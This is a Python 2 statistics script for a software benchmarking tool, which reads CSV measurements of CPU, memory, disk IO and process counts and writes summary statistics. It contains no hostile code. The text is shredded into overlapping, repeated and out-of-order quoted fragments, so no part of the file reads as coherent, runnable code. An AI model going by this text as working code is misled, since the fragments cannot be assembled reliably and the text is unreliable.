measurements['time']['data'][-1]) i = 0 #", "exact file to plot filesToCalc.append(resultsFile) toolNames.append(toolName) else: # check if", "headerOrder: if 'data-type' in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i +=", "launched from the Windows context menu. See README for help.',", "/ 60))) print '\\nFinished.' def q1(seq): return numpy.percentile(seq, 25) def", "write headers line scsv.write('measurement,%s\\n' % ','.join(map(funcName, stats))) for measurement in", "for stat in stats: line = ('%s,%s' % (line, stat(measurements[measurement]['data'])))", "measurement configurations must appear in the order of the associated", "= ('%s,%s' % (line, stat(TIME_GAPS))) scsv.write('%s\\n' % line) # write", "} # the aggregate functions to perform on each set.", "Set Size (RSS) Memory Utilisation' }, 'mem_vms' : { 'data'", "scsv: print 'Writing to file: %s' % resultsFileName # write", "them tool # messy, I know. sorry! line = '%s'", "above) for measurement in headerOrder: if 'data-type' in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i]))", ": { 'data' : [], 'title' : 'Disk IO Write", "are multiple files matching the criteria dir = (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart", "def median(seq): return numpy.percentile(seq, 50) def mean(seq): return sum(seq) /", "filesToCalc.append(resultsFile) toolNames.append(toolName) else: # check if there are multiple files", "[] # put all the times in a list timeRecords", "'title' : 'Disk IO Write Volume' }, 'child_process_count' : {", "toolNames.append(toolName) else: # check if there are multiple files matching", "= resultsFile.split(os.sep)[-1] for (dirpath, dirnames, filenames) in os.walk(dir): for filename", "Size (RSS) Memory Utilisation' }, 'mem_vms' : { 'data' :", "tool', default=None) parser.add_argument('--wincntxmnu', help='Indicates SBS stats was launched from the", ": [], 'title' : 'Child Process Count' }, ### START", "'Virtual Memory Size (VMS) Memory Utilisation' }, 'io_read_count' : {", "'io_write_bytes' : { 'data' : [], 'title' : 'Disk IO", "mean(seq): return sum(seq) / len(seq) def q3(seq): return numpy.percentile(seq, 75)", "= ('%s,%s' % (line, stat(measurements[measurement]['data']))) scsv.write('%s\\n' % line) # now,", ": int } # the aggregate functions to perform on", "int } # the aggregate functions to perform on each", "}, 'io_read_count' : { 'data' : [], 'title' : 'Disk", "i + 1 def stat(resultsFile, toolName): print 'Running for: %s\\n'", "toolName TIME_ELAPSED = [] TIME_GAPS = [] config = {", "'Disk IO Read Volume' }, 'io_write_count' : { 'data' :", "'data' : [], 'title' : 'Disk IO Read Count' },", "time gaps were calculated separately, run the stats on them", "resultsFileName = '%s_stats.csv' % resultsFile with open(resultsFileName, 'w') as scsv:", "matplotlib.pyplot as plt import argparse, csv, numpy, time, os, re", "25) def median(seq): return numpy.percentile(seq, 50) def mean(seq): return sum(seq)", "parser = argparse.ArgumentParser(description = 'Plotter for the Software Benchmarking Script')", "if there are multiple files matching the criteria dir =", "== \"__main__\": parser = argparse.ArgumentParser(description = 'Plotter for the Software", "csv format)') parser.add_argument('-t', help='Name of tool', default=None) parser.add_argument('--wincntxmnu', help='Indicates SBS", "%s' % resultsFileName # write headers line scsv.write('measurement,%s\\n' % ','.join(map(funcName,", "due to dictionaries not being in order, we need to", "CHILD PROCESS STATS ### 'time' : { 'data' : [],", "(timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1] -", "menu. See README for help.', action='store_true') args = parser.parse_args() #", "50) def mean(seq): return sum(seq) / len(seq) def q3(seq): return", "with open(resultsFile, 'r') as fcsv: dataCsv = csv.reader(fcsv, delimiter=',') #", "time.localtime(timeRecords[-1])), (timeRecords[-1] - timeRecords[0]), ((timeRecords[-1] - timeRecords[0]) / 60))) print", "0 while i < len(filesToCalc): stat(filesToCalc[i], toolNames[i]) i = i", "# if the stat was defined above, then don't define", "q3, max, std] measurements = { # measurement configurations must", ": [], 'data-type' : float, 'title' : 'Time' }, 'num_threads'", "0 resultsFileName = '%s_stats.csv' % resultsFile with open(resultsFileName, 'w') as", "[], 'title' : 'Disk IO Read Volume' }, 'io_write_count' :", "Software Benchmarking Script') parser.add_argument('-f', help='Results file as input (in csv", "help.', action='store_true') args = parser.parse_args() # Not used #if args.wincntxmnu:", "Count' }, ### START SYSTEM STATS ### # if the", "numpy.percentile(seq, 25) def median(seq): return numpy.percentile(seq, 50) def mean(seq): return", "parser.add_argument('--wincntxmnu', help='Indicates SBS stats was launched from the Windows context", "= [] # put all the times in a list", "{ 'data' : [], 'data-type' : float, 'title' : 'Resident", "### START CHILD PROCESS STATS ### 'time' : { 'data'", "}, 'num_threads' : { 'data' : [], 'title' : 'Number", "(timeRecords[-1] - timeRecords[0]), ((timeRecords[-1] - timeRecords[0]) / 60))) print '\\nFinished.'", "/ len(seq) def q3(seq): return numpy.percentile(seq, 75) def std(seq): return", "os.path.isfile(resultsFile): # the user must have defined an exact file", "def funcName(func): return func.__name__ if __name__ == \"__main__\": parser =", "don't define it again 'mem_used' : { 'data' : [],", ": { 'data' : [], 'title' : 'Disk IO Read", "for measurement in headerOrder: line = '%s' % measurement for", "argparse.ArgumentParser(description = 'Plotter for the Software Benchmarking Script') parser.add_argument('-f', help='Results", "measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i += 1 firstTime = False", "= dataCsv.next() firstTime = None for row in dataCsv: #", "}, 'io_write_count' : { 'data' : [], 'title' : 'Disk", "'num_threads' : { 'data' : [], 'title' : 'Number of", "the time column header headerOrder = dataCsv.next() firstTime = None", "# 'title' : 'measurement title' # }, # --- end", "= (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart = resultsFile.split(os.sep)[-1] for (dirpath, dirnames, filenames) in", ": float, 'title' : 'Resident Set Size (RSS) Memory Utilisation'", "with the associated plot configuration above. headerOrder = [] #", "as fcsv: dataCsv = csv.reader(fcsv, delimiter=',') # Set the headerOrder", "start plotting i = 0 while i < len(filesToCalc): stat(filesToCalc[i],", "'title' : 'Disk IO Read Volume' }, 'io_write_count' : {", "['data-type' : float,] # 'data' : [], # 'title' :", "Benchmarking Script') parser.add_argument('-f', help='Results file as input (in csv format)')", "column header headerOrder = dataCsv.next() firstTime = None for row", "import matplotlib.pyplot as plt import argparse, csv, numpy, time, os,", "CSV columns # --- sample --- # 'stat_name' : {", "in filenames: reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart, filename) if bool(reMatch):", "'time_gaps' for stat in stats: line = ('%s,%s' % (line,", "min, q1, median, mean, q3, max, std] measurements = {", "'Plotter for the Software Benchmarking Script') parser.add_argument('-f', help='Results file as", "% resultsFile return 0 resultsFileName = '%s_stats.csv' % resultsFile with", "appear in the order of the associated CSV columns #", "'time' : { 'data' : [], 'data-type' : float, 'title'", "remove the time column header headerOrder = dataCsv.next() firstTime =", "if bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s %s' %(toolName, reMatch.group(1).title())) # start", "in os.walk(dir): for filename in filenames: reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b' %", "- measurements['time']['data'][-1]) i = 0 # skip zero as its", "'Running for: %s\\n' % toolName TIME_ELAPSED = [] TIME_GAPS =", "% measurement for stat in stats: line = ('%s,%s' %", ": [], 'data-type' : float, 'title' : 'CPU Utilisation' },", "a function name. # user-defined functions at bottom of file", "(as above) for measurement in headerOrder: if 'data-type' in measurements[measurement]:", "time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0])) if firstTime == False: TIME_GAPS.append(float(row[0])", "('%s,%s' % (line, stat(measurements[measurement]['data']))) scsv.write('%s\\n' % line) # now, because", ": { 'data' : [], 'data-type' : float, 'title' :", "in dataCsv: # Elapsed time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0])) if", "toolNames.append('%s %s' %(toolName, reMatch.group(1).title())) # start plotting i = 0", "list timeRecords = [] with open(resultsFile, 'r') as fcsv: dataCsv", "parser.add_argument('-t', help='Name of tool', default=None) parser.add_argument('--wincntxmnu', help='Indicates SBS stats was", "at bottom of file stats = [len, min, q1, median,", "{ 'data' : [], 'data-type' : float, 'title' : 'Time'", "plt import argparse, csv, numpy, time, os, re def main(resultsFile,", "row in dataCsv: # Elapsed time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0]))", "median, mean, q3, max, std] measurements = { # measurement", ": 'Physical Memory Available (megabytes)', }, 'process_count' : { 'data'", "% 'time_gaps' for stat in stats: line = ('%s,%s' %", "functions at bottom of file stats = [len, min, q1,", "firstTime = False if len(timeRecords) == 0: print 'No data", "= parser.parse_args() # Not used #if args.wincntxmnu: # args.t =", "sample --- ### START CHILD PROCESS STATS ### 'time' :", "Used (megabytes)' }, 'mem_avai' : { 'data' : [], 'data-type'", "filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s %s' %(toolName, reMatch.group(1).title())) # start plotting i", "60))) print '\\nFinished.' def q1(seq): return numpy.percentile(seq, 25) def median(seq):", "order the data appears and # match it with the", "STATS ### 'time' : { 'data' : [], 'data-type' :", "define it again 'mem_used' : { 'data' : [], 'data-type'", "SBS stats was launched from the Windows context menu. See", "os, re def main(resultsFile, toolName): filesToCalc = [] toolNames =", "= re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart, filename) if bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s", "dataCsv: # Elapsed time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0])) if firstTime", "'io_read_bytes' : { 'data' : [], 'title' : 'Disk IO", "if __name__ == \"__main__\": parser = argparse.ArgumentParser(description = 'Plotter for", "% ','.join(map(funcName, stats))) for measurement in headerOrder: line = '%s'", "name. # user-defined functions at bottom of file stats =", "fileNameStart = resultsFile.split(os.sep)[-1] for (dirpath, dirnames, filenames) in os.walk(dir): for", "'data' : [], # 'title' : 'measurement title' # },", "configuration above. headerOrder = [] # put all the times", "reMatch.group(1).title())) # start plotting i = 0 while i <", "i = i + 1 def stat(resultsFile, toolName): print 'Running", "help='Results file as input (in csv format)') parser.add_argument('-t', help='Name of", "% toolName TIME_ELAPSED = [] TIME_GAPS = [] config =", "the stats on them tool # messy, I know. sorry!", "= '%s' % measurement for stat in stats: line =", "'title' : 'Disk IO Read Count' }, 'io_read_bytes' : {", "then don't define it again 'mem_used' : { 'data' :", "'title' : 'Disk IO Write Count' }, 'io_write_bytes' : {", "timeRecords = [] with open(resultsFile, 'r') as fcsv: dataCsv =", "'child_process_count' : { 'data' : [], 'title' : 'Child Process", "'%s_stats.csv' % resultsFile with open(resultsFileName, 'w') as scsv: print 'Writing", ": [], 'title' : 'Disk IO Read Volume' }, 'io_write_count'", "measurements = { # measurement configurations must appear in the", "context menu. See README for help.', action='store_true') args = parser.parse_args()", ": 'Physical Memory Used (megabytes)' }, 'mem_avai' : { 'data'", "appears and # match it with the associated plot configuration", "an exact file to plot filesToCalc.append(resultsFile) toolNames.append(toolName) else: # check", "Volume' }, 'io_write_count' : { 'data' : [], 'title' :", "the data appears and # match it with the associated", "(VMS) Memory Utilisation' }, 'io_read_count' : { 'data' : [],", "in the order of the associated CSV columns # ---", "re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart, filename) if bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s %s'", "for (dirpath, dirnames, filenames) in os.walk(dir): for filename in filenames:", "[], 'title' : 'Virtual Memory Size (VMS) Memory Utilisation' },", "import argparse, csv, numpy, time, os, re def main(resultsFile, toolName):", "TIME_ELAPSED.append(float(row[0]) - float(timeRecords[0])) if firstTime == False: TIME_GAPS.append(float(row[0]) - measurements['time']['data'][-1])", "# user-defined functions at bottom of file stats = [len,", "the order of the associated CSV columns # --- sample", "'w') as scsv: print 'Writing to file: %s' % resultsFileName", "time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1] - timeRecords[0]), ((timeRecords[-1] - timeRecords[0]) /", "else: # check if there are multiple files matching the", "TIME_GAPS.append(float(row[0]) - measurements['time']['data'][-1]) i = 0 # skip zero as", "%H:%M:%S', time.localtime(timeRecords[-1])), (timeRecords[-1] - timeRecords[0]), ((timeRecords[-1] - timeRecords[0]) / 60)))", "}, 'child_process_count' : { 'data' : [], 'title' : 'Child", "Count' } } # due to dictionaries not being in", "on each set. each is a function name. # user-defined", "return 0 resultsFileName = '%s_stats.csv' % resultsFile with open(resultsFileName, 'w')", "IO Read Volume' }, 'io_write_count' : { 'data' : [],", "# start plotting i = 0 while i < len(filesToCalc):", "the aggregate functions to perform on each set. each is", "main(resultsFile, toolName): filesToCalc = [] toolNames = [] if os.path.isfile(resultsFile):", ": 'Number of Threads' }, 'cpu_percent' : { 'data' :", ": { 'data' : [], 'title' : 'Virtual Memory Size", "run the stats on them tool # messy, I know.", "= { # measurement configurations must appear in the order", "{ # ['data-type' : float,] # 'data' : [], #", "for stat in stats: line = ('%s,%s' % (line, stat(TIME_GAPS)))", "scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[-1])),", "- timeRecords[0]), ((timeRecords[-1] - timeRecords[0]) / 60))) print '\\nFinished.' def", ": 'CPU Utilisation' }, 'mem_rss' : { 'data' : [],", "q1, median, mean, q3, max, std] measurements = { #", ": float, 'title' : 'Physical Memory Available (megabytes)', }, 'process_count'", "(RSS) Memory Utilisation' }, 'mem_vms' : { 'data' : [],", "of file stats = [len, min, q1, median, mean, q3,", "float, 'title' : 'Time' }, 'num_threads' : { 'data' :", "'mem_vms' : { 'data' : [], 'title' : 'Virtual Memory", "}, 'mem_rss' : { 'data' : [], 'data-type' : float,", "aggregate functions to perform on each set. each is a", "action='store_true') args = parser.parse_args() # Not used #if args.wincntxmnu: #", "each set. each is a function name. # user-defined functions", "float, 'title' : 'CPU Utilisation' }, 'mem_rss' : { 'data'", "= '%s_stats.csv' % resultsFile with open(resultsFileName, 'w') as scsv: print", "plotting i = 0 while i < len(filesToCalc): stat(filesToCalc[i], toolNames[i])", "scsv.write('%s\\n' % line) # write start and end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min'", "sample --- # 'stat_name' : { # ['data-type' : float,]", "in headerOrder: if 'data-type' in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i", "# write start and end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0], time.strftime('%Y-%m-%d", "%s' %(toolName, reMatch.group(1).title())) # start plotting i = 0 while", "== False: TIME_GAPS.append(float(row[0]) - measurements['time']['data'][-1]) i = 0 # skip", "Utilisation' }, 'io_read_count' : { 'data' : [], 'title' :", "for row in dataCsv: # Elapsed time timeRecords.append(float(row[0])) TIME_ELAPSED.append(float(row[0]) -", "PROCESS STATS ### 'time' : { 'data' : [], 'data-type'", "75) def std(seq): return numpy.std(seq) def funcName(func): return func.__name__ if", "i += 1 firstTime = False if len(timeRecords) == 0:", "'data-type' : float, 'title' : 'Resident Set Size (RSS) Memory", "to file: %s' % resultsFileName # write headers line scsv.write('measurement,%s\\n'", "}, # --- end sample --- ### START CHILD PROCESS", "line = ('%s,%s' % (line, stat(measurements[measurement]['data']))) scsv.write('%s\\n' % line) #", "files matching the criteria dir = (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart = resultsFile.split(os.sep)[-1]", "timeRecords[0]), ((timeRecords[-1] - timeRecords[0]) / 60))) print '\\nFinished.' def q1(seq):", "{ 'data' : [], 'data-type' : float, 'title' : 'CPU", ": float,] # 'data' : [], # 'title' : 'measurement", "default=None) parser.add_argument('--wincntxmnu', help='Indicates SBS stats was launched from the Windows", "### 'time' : { 'data' : [], 'data-type' : float,", "for: %s\\n' % toolName TIME_ELAPSED = [] TIME_GAPS = []", "'data-type' : float, 'title' : 'Physical Memory Available (megabytes)', },", "% resultsFile with open(resultsFileName, 'w') as scsv: print 'Writing to", "while i < len(filesToCalc): stat(filesToCalc[i], toolNames[i]) i = i +", "input (in csv format)') parser.add_argument('-t', help='Name of tool', default=None) parser.add_argument('--wincntxmnu',", "float, 'title' : 'Resident Set Size (RSS) Memory Utilisation' },", "print 'Writing to file: %s' % resultsFileName # write headers", "measurements[measurement]['data'].append(config['data-type-default'](row[i])) i += 1 firstTime = False if len(timeRecords) ==", "% resultsFileName # write headers line scsv.write('measurement,%s\\n' % ','.join(map(funcName, stats)))", "float(timeRecords[0])) if firstTime == False: TIME_GAPS.append(float(row[0]) - measurements['time']['data'][-1]) i =", "timeRecords[0]) / 60))) print '\\nFinished.' def q1(seq): return numpy.percentile(seq, 25)", "}, 'io_write_bytes' : { 'data' : [], 'title' : 'Disk", "'data-type' in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i += 1 firstTime", "and # match it with the associated plot configuration above.", "1 firstTime = False if len(timeRecords) == 0: print 'No", "'data-type-default' : int } # the aggregate functions to perform", "perform on each set. each is a function name. #", ": float, 'title' : 'Physical Memory Used (megabytes)' }, 'mem_avai'", "set. each is a function name. # user-defined functions at", "% (line, stat(TIME_GAPS))) scsv.write('%s\\n' % line) # write start and", "'Disk IO Write Count' }, 'io_write_bytes' : { 'data' :", "defined above, then don't define it again 'mem_used' : {", "line) # now, because the time gaps were calculated separately,", "} } # due to dictionaries not being in order,", "'data' : [], 'title' : 'Process Count' } } #", "SYSTEM STATS ### # if the stat was defined above,", "}, ### START SYSTEM STATS ### # if the stat", "Memory Available (megabytes)', }, 'process_count' : { 'data' : [],", "= [len, min, q1, median, mean, q3, max, std] measurements", "numpy.percentile(seq, 75) def std(seq): return numpy.std(seq) def funcName(func): return func.__name__", "csv, numpy, time, os, re def main(resultsFile, toolName): filesToCalc =", "std] measurements = { # measurement configurations must appear in", "know the order the data appears and # match it", "format)') parser.add_argument('-t', help='Name of tool', default=None) parser.add_argument('--wincntxmnu', help='Indicates SBS stats", "skip zero as its the time (as above) for measurement", "if firstTime == False: TIME_GAPS.append(float(row[0]) - measurements['time']['data'][-1]) i = 0", "Utilisation' }, 'mem_vms' : { 'data' : [], 'title' :", "it with the associated plot configuration above. headerOrder = []", "open(resultsFile, 'r') as fcsv: dataCsv = csv.reader(fcsv, delimiter=',') # Set", "'process_count' : { 'data' : [], 'title' : 'Process Count'", "= [] TIME_GAPS = [] config = { 'data-type-default' :", "must have defined an exact file to plot filesToCalc.append(resultsFile) toolNames.append(toolName)", "dirnames, filenames) in os.walk(dir): for filename in filenames: reMatch =", "it again 'mem_used' : { 'data' : [], 'data-type' :", "sum(seq) / len(seq) def q3(seq): return numpy.percentile(seq, 75) def std(seq):", "}, 'mem_avai' : { 'data' : [], 'data-type' : float,", "'title' : 'Physical Memory Available (megabytes)', }, 'process_count' : {", "README for help.', action='store_true') args = parser.parse_args() # Not used", "match it with the associated plot configuration above. headerOrder =", "'No data recorded in %s.\\nExiting.\\n\\n' % resultsFile return 0 resultsFileName", "numpy.percentile(seq, 50) def mean(seq): return sum(seq) / len(seq) def q3(seq):", "filename)) toolNames.append('%s %s' %(toolName, reMatch.group(1).title())) # start plotting i =", "mean, q3, max, std] measurements = { # measurement configurations", "stats: line = ('%s,%s' % (line, stat(measurements[measurement]['data']))) scsv.write('%s\\n' % line)", "time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])), timeRecords[-1], time.strftime('%Y-%m-%d %H:%M:%S',", "print 'No data recorded in %s.\\nExiting.\\n\\n' % resultsFile return 0", "'title' : 'measurement title' # }, # --- end sample", "delimiter=',') # Set the headerOrder and remove the time column", "sorry! line = '%s' % 'time_gaps' for stat in stats:", "put all the times in a list timeRecords = []", "all the times in a list timeRecords = [] with", "were calculated separately, run the stats on them tool #", "'data' : [], 'title' : 'Virtual Memory Size (VMS) Memory", "messy, I know. sorry! line = '%s' % 'time_gaps' for", "{ 'data' : [], 'title' : 'Disk IO Read Count'", "= [] toolNames = [] if os.path.isfile(resultsFile): # the user", "if 'data-type' in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i += 1", "filename) if bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s %s' %(toolName, reMatch.group(1).title())) #", "% fileNameStart, filename) if bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s %s' %(toolName,", "user-defined functions at bottom of file stats = [len, min,", "'data-type' : float, 'title' : 'Time' }, 'num_threads' : {", "'data' : [], 'data-type' : float, 'title' : 'CPU Utilisation'", "resultsFileName # write headers line scsv.write('measurement,%s\\n' % ','.join(map(funcName, stats))) for", "now, because the time gaps were calculated separately, run the", "'%s' % measurement for stat in stats: line = ('%s,%s'", "q3(seq): return numpy.percentile(seq, 75) def std(seq): return numpy.std(seq) def funcName(func):", "stats on them tool # messy, I know. sorry! line", ": [], 'title' : 'Disk IO Write Volume' }, 'child_process_count'", "def q3(seq): return numpy.percentile(seq, 75) def std(seq): return numpy.std(seq) def", "'data' : [], 'title' : 'Disk IO Read Volume' },", "have defined an exact file to plot filesToCalc.append(resultsFile) toolNames.append(toolName) else:", "std(seq): return numpy.std(seq) def funcName(func): return func.__name__ if __name__ ==", "# write headers line scsv.write('measurement,%s\\n' % ','.join(map(funcName, stats))) for measurement", "'Writing to file: %s' % resultsFileName # write headers line", "is a function name. # user-defined functions at bottom of", "--- ### START CHILD PROCESS STATS ### 'time' : {", "'CPU Utilisation' }, 'mem_rss' : { 'data' : [], 'data-type'", "% line) # now, because the time gaps were calculated", "to perform on each set. each is a function name.", "in stats: line = ('%s,%s' % (line, stat(TIME_GAPS))) scsv.write('%s\\n' %", "Memory Utilisation' }, 'mem_vms' : { 'data' : [], 'title'", "### START SYSTEM STATS ### # if the stat was", "stat(resultsFile, toolName): print 'Running for: %s\\n' % toolName TIME_ELAPSED =", "= argparse.ArgumentParser(description = 'Plotter for the Software Benchmarking Script') parser.add_argument('-f',", "def std(seq): return numpy.std(seq) def funcName(func): return func.__name__ if __name__", "stat in stats: line = ('%s,%s' % (line, stat(TIME_GAPS))) scsv.write('%s\\n'", "Volume' }, 'child_process_count' : { 'data' : [], 'title' :", "line = '%s' % measurement for stat in stats: line", "functions to perform on each set. each is a function", "the Windows context menu. See README for help.', action='store_true') args", "numpy, time, os, re def main(resultsFile, toolName): filesToCalc = []", "(os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart = resultsFile.split(os.sep)[-1] for (dirpath, dirnames, filenames) in os.walk(dir):", "configurations must appear in the order of the associated CSV", "[], 'data-type' : float, 'title' : 'Resident Set Size (RSS)", "i = 0 # skip zero as its the time", "= 0 # skip zero as its the time (as", "the times in a list timeRecords = [] with open(resultsFile,", "parser.parse_args() # Not used #if args.wincntxmnu: # args.t = raw_input('Enter", "was launched from the Windows context menu. See README for", "'Child Process Count' }, ### START SYSTEM STATS ### #", "filenames: reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart, filename) if bool(reMatch): filesToCalc.append(os.path.join(dirpath,", "= 'Plotter for the Software Benchmarking Script') parser.add_argument('-f', help='Results file", "in order, we need to know the order the data", "the time gaps were calculated separately, run the stats on", "\"__main__\": parser = argparse.ArgumentParser(description = 'Plotter for the Software Benchmarking", "order, we need to know the order the data appears", "return numpy.percentile(seq, 25) def median(seq): return numpy.percentile(seq, 50) def mean(seq):", "in %s.\\nExiting.\\n\\n' % resultsFile return 0 resultsFileName = '%s_stats.csv' %", "'data' : [], 'title' : 'Disk IO Write Volume' },", "[], 'data-type' : float, 'title' : 'Physical Memory Used (megabytes)'", "headerOrder = [] # put all the times in a", "in a list timeRecords = [] with open(resultsFile, 'r') as", "Script') parser.add_argument('-f', help='Results file as input (in csv format)') parser.add_argument('-t',", "measurement in headerOrder: if 'data-type' in measurements[measurement]: measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i]))", "'title' : 'Number of Threads' }, 'cpu_percent' : { 'data'", "IO Write Volume' }, 'child_process_count' : { 'data' : [],", "numpy.std(seq) def funcName(func): return func.__name__ if __name__ == \"__main__\": parser", "for filename in filenames: reMatch = re.search('%s_((aggregate|system)|(\\d)+)\\\\b' % fileNameStart, filename)", "as its the time (as above) for measurement in headerOrder:", "for help.', action='store_true') args = parser.parse_args() # Not used #if", "{ 'data' : [], 'title' : 'Disk IO Write Volume'", "the headerOrder and remove the time column header headerOrder =", "header headerOrder = dataCsv.next() firstTime = None for row in", "above. headerOrder = [] # put all the times in", "[], 'title' : 'Number of Threads' }, 'cpu_percent' : {", "if len(timeRecords) == 0: print 'No data recorded in %s.\\nExiting.\\n\\n'", "% (line, stat(measurements[measurement]['data']))) scsv.write('%s\\n' % line) # now, because the", "the criteria dir = (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart = resultsFile.split(os.sep)[-1] for (dirpath,", "return sum(seq) / len(seq) def q3(seq): return numpy.percentile(seq, 75) def", "headerOrder and remove the time column header headerOrder = dataCsv.next()", "Read Count' }, 'io_read_bytes' : { 'data' : [], 'title'", "Size (VMS) Memory Utilisation' }, 'io_read_count' : { 'data' :", ": 'Disk IO Read Count' }, 'io_read_bytes' : { 'data'", "the user must have defined an exact file to plot", "bool(reMatch): filesToCalc.append(os.path.join(dirpath, filename)) toolNames.append('%s %s' %(toolName, reMatch.group(1).title())) # start plotting", "= None for row in dataCsv: # Elapsed time timeRecords.append(float(row[0]))", "measurements[measurement]['data'].append(measurements[measurement]['data-type'](row[i])) else: measurements[measurement]['data'].append(config['data-type-default'](row[i])) i += 1 firstTime = False if", "criteria dir = (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart = resultsFile.split(os.sep)[-1] for (dirpath, dirnames,", "--- end sample --- ### START CHILD PROCESS STATS ###", "[len, min, q1, median, mean, q3, max, std] measurements =", "check if there are multiple files matching the criteria dir", "}, 'mem_vms' : { 'data' : [], 'title' : 'Virtual", "separately, run the stats on them tool # messy, I", "len(seq) def q3(seq): return numpy.percentile(seq, 75) def std(seq): return numpy.std(seq)", "start and end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0], time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(timeRecords[0])),", "# now, because the time gaps were calculated separately, run", "[], 'title' : 'Disk IO Read Count' }, 'io_read_bytes' :", "< len(filesToCalc): stat(filesToCalc[i], toolNames[i]) i = i + 1 def", "Write Volume' }, 'child_process_count' : { 'data' : [], 'title'", "the stat was defined above, then don't define it again", ": [], 'data-type' : float, 'title' : 'Physical Memory Available", "'data' : [], 'data-type' : float, 'title' : 'Time' },", "open(resultsFileName, 'w') as scsv: print 'Writing to file: %s' %", "to know the order the data appears and # match", "--- sample --- # 'stat_name' : { # ['data-type' :", "__name__ == \"__main__\": parser = argparse.ArgumentParser(description = 'Plotter for the", "'title' : 'Virtual Memory Size (VMS) Memory Utilisation' }, 'io_read_count'", "IO Write Count' }, 'io_write_bytes' : { 'data' : [],", "resultsFile return 0 resultsFileName = '%s_stats.csv' % resultsFile with open(resultsFileName,", "float, 'title' : 'Physical Memory Available (megabytes)', }, 'process_count' :", "- timeRecords[0]) / 60))) print '\\nFinished.' def q1(seq): return numpy.percentile(seq,", "plot filesToCalc.append(resultsFile) toolNames.append(toolName) else: # check if there are multiple", "toolName): filesToCalc = [] toolNames = [] if os.path.isfile(resultsFile): #", "# the aggregate functions to perform on each set. each", "matching the criteria dir = (os.sep).join(resultsFile.split(os.sep)[:-1]) fileNameStart = resultsFile.split(os.sep)[-1] for", "time, os, re def main(resultsFile, toolName): filesToCalc = [] toolNames", "q1(seq): return numpy.percentile(seq, 25) def median(seq): return numpy.percentile(seq, 50) def", "for the Software Benchmarking Script') parser.add_argument('-f', help='Results file as input", "because the time gaps were calculated separately, run the stats", "'data' : [], 'title' : 'Disk IO Write Count' },", "'io_write_count' : { 'data' : [], 'title' : 'Disk IO", "'title' : 'Resident Set Size (RSS) Memory Utilisation' }, 'mem_vms'", ": float, 'title' : 'CPU Utilisation' }, 'mem_rss' : {", "stats = [len, min, q1, median, mean, q3, max, std]", "TIME_GAPS = [] config = { 'data-type-default' : int }", "'title' : 'Physical Memory Used (megabytes)' }, 'mem_avai' : {", ": 'Disk IO Write Volume' }, 'child_process_count' : { 'data'", "{ 'data' : [], 'title' : 'Process Count' } }", "'stat_name' : { # ['data-type' : float,] # 'data' :", "line) # write start and end time scsv.write('start_time,%s,\"%s\"\\nend_time,%s,\"%s\"\\ntime_elapsed,%s,sec,%s,min' % (timeRecords[0],", "data recorded in %s.\\nExiting.\\n\\n' % resultsFile return 0 resultsFileName =", ": 'Disk IO Write Count' }, 'io_write_bytes' : { 'data'", "defined an exact file to plot filesToCalc.append(resultsFile) toolNames.append(toolName) else: #", "[], 'title' : 'Disk IO Write Volume' }, 'child_process_count' :", "return numpy.percentile(seq, 75) def std(seq): return 